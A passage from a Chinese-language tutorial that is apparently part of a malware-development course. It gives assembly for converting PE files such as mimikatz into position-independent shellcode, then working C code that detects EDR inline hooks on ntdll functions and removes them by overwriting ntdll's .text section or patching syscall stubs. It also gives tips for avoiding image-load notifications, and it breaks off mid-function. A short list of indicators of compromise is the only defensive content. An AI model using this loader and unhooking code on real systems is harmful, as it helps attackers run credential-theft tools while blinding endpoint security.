" cmp rsi, rdi;"          		# Compare current block with the end of BaseReloc
" jge basereloc_fixed_end;"    		# If equal, exit the loop
" xor r8, r8;"
" mov r8d, [rsi];"			# R8 = Current block's page RVA
" add r8, rbx;"				# R8 points to current block page (Should add an offset later)
" mov r11, r8;"				# Backup R8
" xor r9, r9;"
" mov r9d, [rsi+4];"			# R9 = Current block size
" add rsi, 8;"				# RSI points to the 1st entry, index for inner loop for all entries
" mov rdx, rsi;"
" add rdx, r9;"
" sub rdx, 8;"				# RDX = End of all entries in current block


"loop_entries:"
" cmp rsi, rdx;"			# If we reached the end of current block
" jz next_block;"			# Move to next block
" xor rax, rax;"
" mov ax, [rsi];"			# RAX = Current entry value
" test rax, rax;"			# If entry value is 0
" jz skip_padding_entry;"		# Reach the end of entry and the last entry is a padding entry
" mov r10, rax;"			# Copy entry value to R10
" and eax, 0xfff;"			# Offset, 12 bits
" add r8, rax;"				# Added an offset


"update_entry:"
" sub [r8], r14;"			# Update the address
" mov r8, r11;"				# Restore r8
" add rsi, 2;"				# Move to next entry by adding 2 bytes
" jmp loop_entries;"


"skip_padding_entry:"			# If the last entry is a padding entry
" add rsi, 2;"				# Directly skip this entry


"next_block:"
" jmp loop_block;"


"basereloc_fixed_end:"
" sub rsp, 0x8;"			# Stack alignment
```

**5：修复延迟导入表**

对于有些复杂的 PE 文件，例如 **mimikatz**，有着延迟导入表，如果不修复便会报错。不过延迟导入表的结构以及修复原理与 IAT 十分接近。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/Wg7E4cD3KSrwFL03-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/Wg7E4cD3KSrwFL03-image.png)

```python
"fix_delayed_import_dir:"
" call find_nt_header;"
" mov esi, [rax+0xf0];"			# ESI = DelayedImportDir RVA
" test esi, esi;"			# If RVA = 0?
" jz delayed_loop_end;"			# Skip delay import table fix
" add rsi, rbx;"			# RSI points to DelayedImportDir


"delayed_loop_module:"
" xor rcx, rcx;"			
" mov ecx, [rsi+4];"			# RCX = Module name string RVA
" test rcx, rcx;"			# If RVA = 0, then all modules are processed
" jz delayed_loop_end;"			# Exit the module loop
" add rcx, rbx;"			# RCX = Module name
" call r12;"				# Call LoadLibraryA
" mov rcx, rax;"			# Module handle for GetProcAddress for 1st arg
" xor r8, r8;"				
" xor rdx, rdx;"
" mov edx, [rsi+0x10];"			# EDX = INT RVA
" add rdx, rbx;"			# RDX points to INT
" mov r8d, [rsi+0xc];"			# R8 = IAT RVA
" add r8, rbx;"				# R8 points to IAT
" mov r14, rdx;"			# Backup INT Address
" mov r15, r8;"				# Backup IAT Address


"delayed_loop_func:"
" mov rdx, r14;"			# Restore INT Address + processed data
" mov r8, r15;"				# Restore IAT Address + processed data
" mov rdx, [rdx];"			# RDX = Name Address RVA
" test rdx, rdx;"			# If Name Address value is 0, then all functions are fixed
" jz delayed_next_module;"		# Process next module
" mov r9, 0x8000000000000000;"
" test rdx, r9;"			# Check if it is import by ordinal (highest bit set of NameAddress)
" mov rbp, rcx;"			# Save module base address
" jnz delayed_resolve_by_ordinal;"	# If set, resolve by ordinal


"delayed_resolve_by_name:"
" add rdx, rbx;"			# RDX points to NameAddress Table
" add rdx, 2;"				# RDX points to Function Name
" call r13;"				# Call GetProcAddress
" jmp delayed_update_iat;"		# Go to update IAT


"delayed_resolve_by_ordinal:"
" mov r9, 0x7fffffffffffffff;"
" and rdx, r9;"				# RDX = Ordinal number
" call r13;"				# Call GetProcAddress with ordinal


"delayed_update_iat:"
" mov rcx, rbp;"			# Restore module base address
" mov r8, r15;"				# Restore current IAT address + processed
" mov [r8], rax;"			# Write the resolved address to the IAT
" add r15, 0x8;"			# Move to the next IAT entry (64-bit addresses)
" add r14, 0x8;"			# Movce to the next INT entry
" jmp delayed_loop_func;"		# Repeat for the next function


"delayed_next_module:"
" add rsi, 0x20;"			# Move to next delayed imported module
" jmp delayed_loop_module;"		# Continue loop


"delayed_loop_end:"
```

**6：跳转到 PE 入口**

这里，我们已经完成了所需的修复啦。尽管对于更加复杂的 PE 文件，可能需要其他表的修复，例如 TLS 回调目录。将执行转至 PE 的入口

```python
"all_completed:"        
" call find_nt_header;"
" xor r15, r15;"
" mov r15d, [rax+0x28];"		# R15 = Entry point RVA
" add r15, rbx;"			# R15 = Entry point    		
" jmp r15;"
```

**7：杂项**

为了动态地计算偏移，我们会生成 2 段 Shellcode，步骤 1 的 Shellcode 为一段，剩余的为一段。

```python
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    encoding, count = ks.asm(CODE)
    CODE_LEN = len(encoding) + 25     
    CODE_OFFSET = 4096 - CODE_LEN
```

增加对命令行的支持，原理是修改 PEB 中的命令行以及其长度。这样的修改对部分程序有效，但兼容性依旧不足够。

```python
def generate_asm_by_cmdline(new_cmd):
    new_cmd_length = len(new_cmd) * 2 + 12
    unicode_cmd = [ord(c) for c in new_cmd]


    fixed_instructions = [
        "mov rsi, [rax + 0x20];			# RSI = Address of ProcessParameter",
        "add rsi, 0x70; 			# RSI points to CommandLine member",
        f"mov byte ptr [rsi], {new_cmd_length}; # Set Length to the length of new commandline",
        "mov byte ptr [rsi+2], 0xff; # Set the max length of cmdline to 0xff bytes",
        "mov rsi, [rsi+8]; # RSI points to the string",
        "mov dword ptr [rsi], 0x002e0031; 	# Push '.1'",
        "mov dword ptr [rsi+0x4], 0x00780065; 	# Push 'xe'",
        "mov dword ptr [rsi+0x8], 0x00200065; 	# Push ' e'"
    ]

    start_offset = 0xC
    dynamic_instructions = []
    for i, char in enumerate(unicode_cmd):
        hex_char = format(char, '04x')
        offset = start_offset + (i * 2) 
        if i % 2 == 0:
            dword = hex_char
        else:
            dword = hex_char + dword 
            instruction = f"mov dword ptr [rsi+0x{offset-2:x}], 0x{dword};"
            dynamic_instructions.append(instruction)
    if len(unicode_cmd) % 2 != 0:
        instruction = f"mov word ptr [rsi+0x{offset:x}], 0x{dword};"
        dynamic_instructions.append(instruction)
    final_offset = start_offset + len(unicode_cmd) * 2
    dynamic_instructions.append(f"mov byte ptr [rsi+0x{final_offset:x}], 0;")
    instructions = fixed_instructions + dynamic_instructions
    return "\n".join(instructions)
```

如果要尽可能更好地支持对命令行的解析，我们还需要对 **GetCommandLineA**，**GetCommandLineW**，**\_\_getmainargs**, **\_\_wgetmainargs** 函数进行 **IAT Hook**，修改对这些函数的实现。不过，不同的程序对参数的处理方法不同，即便对这 4 个函数都进行 Hook，依旧有无法正确解析命令行的程序。

我们来看看将 mimikatz 转换为 Shellcode 后的执行效果(mimi.bin是 mimikatz 的内存转储文件)：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/5iwLDNfgrWlCbeiL-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/5iwLDNfgrWlCbeiL-image.png)

甚至 UPX 加过壳的 calc 都能被转换成位置独立的 Shellcode 并运行：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/DWrIixPcqRcWqKV1-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/DWrIixPcqRcWqKV1-image.png)

# 用户态Hooking介绍

Hook，即钩子，在网络安全用语中，指的是拦截并且修改特定的 API 执行流程，通常用于 Debugging，逆向工程，游戏作弊，检测恶意软件行为。API Hook 将原有的 API 替换为自定义的以进行额外的检视，如果非恶意，则继而调用原有的 API，否则会被拦截。

安全产品，例如 EDR，可能会实施 **SSDT Hooking**，**IAT Hooking**，**内联 Hooking**。不过对于 SSDT Hooking，因为是内核层的，虽然安全产品可以实施 SSDT Hooking 从而实现更彻底的检视，但也会被恶意软件用来实现文件、网络连接、注册表键等的隐藏。基于内核层的更改，无论目的是好是坏，都可能影响系统安全性、完整性、以及稳定性，因此微软后来引入了 **PatchGuard** 来阻止对内核的补丁。作为"补偿"，微软引入了我们之前简述过的内核回调，供安全产品进行内核层面的检视。

### **IAT Hooking**

我们在 PE 小节介绍过 IAT 表了，IAT 表记录了映像文件所引用的模块以及其中的导出函数。我们在编写恶意软件时，调用 Win32 API 或者 NTAPI 的话，则会使 IAT 表中增加该 API 以及其所在的模块。

以 calc 为例，我们使用 PE Bear 可以查看其在磁盘时候的 IAT 表，这时候 IAT 与 INT 是一致的，没有函数地址。但当 calc 被载入到内存中时，IAT 中会更新函数的地址。例如，我们在下图可以看到 KERNEL32 模块中第一个导入函数是 GetCurrentThreadId，当前 IAT 条目中的值是 HintName 表的 RVA。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/UoTPUjQ2mJxHVnRA-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/UoTPUjQ2mJxHVnRA-image.png)

在 WinDBG 中，我们印证了，并且该条目的值被更新成了函数的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/28BChHTZO9f9NxoP-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/28BChHTZO9f9NxoP-image.png)

但如果，IAT 条目中的值被修改成安全产品模块的导出函数，那么是不是就意味着调用该函数的时候，安全产品都在检视了？IAT Hooking，就是这么一个原理。不过，如今安全产品，尤其是 EDR，主要使用下面要讲的内联 Hooking 进行函数调用检视。

### **内联 Hooking**

内联 Hooking 是如今更主流的 Hooking 方案，EDR 通常会给 NTAPI 设置内联 Hook，因为 NTAPI 作为用户态与内核态的桥梁。内联 Hook 的特征为在 NTAPI 代码的 **syscall 指令前**，加入**无条件的跳转**，即 **jmp** 命令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/bEJWcFdj5BMCy1wb-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/bEJWcFdj5BMCy1wb-image.png)

下图是常被恶意软件所利用的 **NtWriteVirtualMemory**，其 Win32 API 是 **WriteProcessMemory**。我们可以看到，第 2 条指令跳转到了别处，这是被 hook 的特征。当然了，不同的 EDR hook 的函数可能所有不同(但肯定有一些 NTAPI 是都被 Hook 的)，hook 的指令位置也可能有所不同，例如有的 EDR 会覆盖 **mov r10, rcx** 这条指令。但是，跳转一定是发生在 syscall 指令之前，因为 syscall 指令的执行即意味着向内核态的过渡。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/0HYWeD5yHhBgzDCv-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/0HYWeD5yHhBgzDCv-image.png)

而对于不怎么在恶意软件中被利用的良性 NTAPI，则没有被 hook 的迹象。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/4KPFnhX4kGObSxVj-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/4KPFnhX4kGObSxVj-image.png)

实际上，对于大多数 NTAPI，代码都形如下图，这是 syscall 的格式。至于和上图相差的几条指令，至少在 x64 中，并非必须的，也就是有着下述这几条指令，就可以完成 syscall。

```c
mov r10, rcx
mov rax, [SSN]
syscall
ret
```

在稍后的章节，我们会讲解如何绕过内联 Hook。

# 绕过用户态Hooking

在上个小节，我们讨论了 EDR 在用户态设置 Hook 的原理，那么相应地，我们可以根据这原理寻找间隙，实现对用户态 Hook 的绕过。截至目前，已经有多种方法绕过 Hook。不过，Hook 并非 EDR 的全部检测能力的来源，因此绕过 Hook 的这个过程本身可能就会被检测为恶意。不过无论如何，在这个小节，我们会过一下常见的一些用于绕过 Hook 的方法，以及它们的 IOC。在下个小节，我们会继续探讨绕过用户态 Hook 的方法，虽然会更加复杂一些。

### **检测内联 Hook**

内联 Hook 的实施是在要 Hook 的 NTAPI 的 syscall stub 中的 syscall 指令之前用无条件跳转指令覆盖原有指令。不同的 EDR 可能会覆盖不同的指令，例如 CrowdStrike 覆盖的是 **mov eax, SSN** 这条指令，有的 EDR 覆盖的是 **mov r10, rcx** 这条指令。

因此，代码的逻辑便很直接，逐一检查 syscall stub 的前 4 个字节。在代码里，我们通过 PEB Walking 的方法在不调用 LoadLibray，GetModuleHandle，GetProcAddress 函数的情况下可以获得 ntdll 模块的地址、给定函数的地址。这么做可以避免 LoadLibray，GetModuleHandle，GetProcAddress 这些函数在 IAT 中的显示。

因为涉及对模块的解析，因此我们也会频繁用到 PE 文件相关的结构体。

```c
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR * funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName,pFunctionName)==0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll,"NtAllocateVirtualMemory");
	CheckFuncByName(ntdll, "NtOpenProcess");
	CheckFuncByName(ntdll, "NtReadVirtualMemory");
	CheckFuncByName(ntdll, "NtWriteVirtualMemory");
    return 0;
}


```

编译后，使用 WinDBG 来调试该程序，通过手动修改 NtOpenProcess 的第一条指令来模拟 hook。程序也成功地检测出 NtOpenProcess API 的指令被纂改。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/CzR68AnerRrjyN59-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/CzR68AnerRrjyN59-image.png)

###   


### **替换 .text 节**

我们知道 PE 文件的 .text 节是可执行代码的区域，权限是 **RX**。既然特定 NTAPI 被 hook 了，只要用干净的 ntdll 的 .text 节来覆盖，那么我们就会得到干净的代码，自然可以实现 unhook。

因此，我们首先要获得载入的 ntdll 模块的地址，这个我们已经用代码实现了。然后我们从磁盘读取 ntdll 文件，并存储在缓冲区中。需要注意的是，存储在缓冲区中的 ntdll 的内容是基于磁盘中的形式，即尚未映射到内存中。这样，我们有了 2 份不同的 ntdll 的地址，一份是**被 hook** 的，一份是**干净**的；一份是**映射在内存中**的，一份是**基于磁盘形式**的。因此，在将干净 ntdll 文件中的 .text 节覆盖被 hook 的 ntdll 的 .text 节时，我们需要稍加注意 PointerOfRawData 与 VirtualAddress，SizeOfRawData 与 VirtualSize。

```c
typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
```

以下面截图中的 ntdll 为例，在本地磁盘时，文件偏移为 0x400，尺寸为 0x11920。当被载入至内存时，RVA 是 0x1000，尺寸为 0x1190ce。我们需要注意到这差异。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/1IZsEiMsyPoFIEMk-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/1IZsEiMsyPoFIEMk-image.png)

因为两者 .text 节的尺寸有轻微不同，为了保险起见，我们适用尺寸更大的 .text 节来覆盖。之所以考虑这点，我是担心如果干净的 .text 节尺寸更小，那么没有完全覆盖，载入的 ntdll 的代码区还会有少量代码残留，可能在特定情况下导致意想不到的结果。尽管在本案例中干净的代码区尺寸更大，但在其他的操作系统版本可能是相反的情况，所以我们依旧需要考虑到。

```c
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>

void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll, "NtOpenProcess");

	HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA Failed With Error : %d \n\n", GetLastError());
		return -1;
	}
	DWORD dwFileLen = GetFileSize(hFile, NULL);
	DWORD dwNumberOfBytesRead;
	PVOID pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
	if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead)
	{
		printf("[!] ReadFile Failed With Error : %d \n\n", GetLastError());
		return -1;
	}
	if (hFile)
	{
		CloseHandle(hFile);
	}


	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdll;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdll + hookedDosHeader->e_lfanew);
	PIMAGE_DOS_HEADER CleanDosHeader = (PIMAGE_DOS_HEADER)pNtdllBuffer;
	PIMAGE_NT_HEADERS CleanNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllBuffer + CleanDosHeader->e_lfanew);

	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
	{
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		PIMAGE_SECTION_HEADER CleanSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CleanNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
		{
			LPVOID hookedTextSection = (LPVOID)((DWORD_PTR)ntdll + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
			LPVOID CleanTextSection = (LPVOID)((DWORD_PTR)pNtdllBuffer + (DWORD_PTR)CleanSectionHeader->PointerToRawData);
			size_t size_TextSection = (hookedSectionHeader->Misc.VirtualSize > CleanSectionHeader->SizeOfRawData) ? hookedSectionHeader->Misc.VirtualSize : CleanSectionHeader->SizeOfRawData;
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect(hookedTextSection, size_TextSection, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy(hookedTextSection, CleanTextSection, size_TextSection);
			isProtected = VirtualProtect(hookedTextSection, size_TextSection, oldProtection, &oldProtection);
		}
	}
	CheckFuncByName(ntdll, "NtOpenProcess");
	return 0;
}
```

编译后，我们使用 WinDBG 来调试该程序，为了模拟 hook，我们手动修改 NtOpenProcess API 的第一条指令，并且确认了该修改是成功的。在程序运行结束后，查看该 API，发现代码被恢复成原有的了。因此，通过替换 .text 节，我们可以实现对用户态 Hook 的绕过。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/92kOCjNgWikt13Xz-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/92kOCjNgWikt13Xz-image.png)

值得一提的是，我发现其他利用此方法的代码里，作者们用了 CreateFileMapping 与 MapViewOfFile 来将干净的 ntdll 载入至内存中。

```c
HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName
);

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,
  [in] DWORD  dwFileOffsetLow,
  [in] SIZE_T dwNumberOfBytesToMap
);
```

使用这些 WinAPI 时，因为映像被映射到内存中，因此 Windows 加载器会适用变更的**对齐系数**，导致 .text 的偏移也不同。如果 CreateFileMappingA 的 flProtext 参数没有包含 **SEC\_IMAGE** 或 **SEC\_IMAGE\_NO\_EXECUTE** 标志，则不会适用新的对齐。但SEC\_IMAGE\_NO\_EXECUTE 标志还是会更好一些，因为它不会触发 PsSetLoadImageNotifyRoutine 回调。这意味着当 ntdll.dll 被映射到内存时，使用此标志不会提醒接收**映像载入通知例程**的安全产品。

```c
hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
if (hSection == NULL) {
	printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());
	return -1;
}

// mapping the view of file of ntdll.dll
pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
	printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
	return -1;
}
```

好，我们来讨论一下该方法存在的 IOC：

1. 从磁盘中读取 ntdll.dll 对于良性程序来说比较可疑
2. 在 unhook 之前，我们需要用到一些敏感的函数，例如 VirtualProtect，WriteProcessMemory(可用于代替 VirtualProtect 和 memcpy 组合) 等
3. EDR 可以验证载入的 ntdll 的完整性以判断是否遭到了纂改

**拓展**

我们是从磁盘中读取 ntdll，其实我们还可以从 KnownDlls 目录、远程 web 服务器上读取。请查询资料以及所需的 API 的用法，进行实现作为练习。

### **补丁 NTAPI**

相比替换整个 ntdll 模块的 .text 节，我们可以选择只补丁我们所需的且被 hook 的函数，这样，补丁的动作会相对小一些。相比之前的代码，我们可以硬编码或者动态地获得目标 NTAPI 的 syscall stub 指令字节，其实区别只在于 SSN。至于如何动态地获取 SSN，我们会在下一小节进行讲解，因此这里我们就硬编码 NtOpenProcess 的 syscall stub 好了。

需要略加注意的是，对于给定的函数，其地址很大概率不是与**内存页**对齐的，幸运的是，像 VirtualAlloc、VirtualProtect 这类函数会自动帮我们适用向下最近的页的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/ZN27Pa9u53LfJwUC-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/ZN27Pa9u53LfJwUC-image.png)

对于代码，我们只需要增加硬编码的 NTAPI 的 syscall stub，以及对 CheckFuncByName 稍加修改。

```c
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>

void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName, unsigned char* cleanNTAPI)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked, its address is 0x%x\n", funcName, pFunctionAddress);
				DWORD_PTR pageStart = ((DWORD_PTR)pFunctionAddress / 0x1000) * 0x1000;
				printf("Start address of the page is 0x%x\n", pageStart);
				DWORD oldProtection = 0;
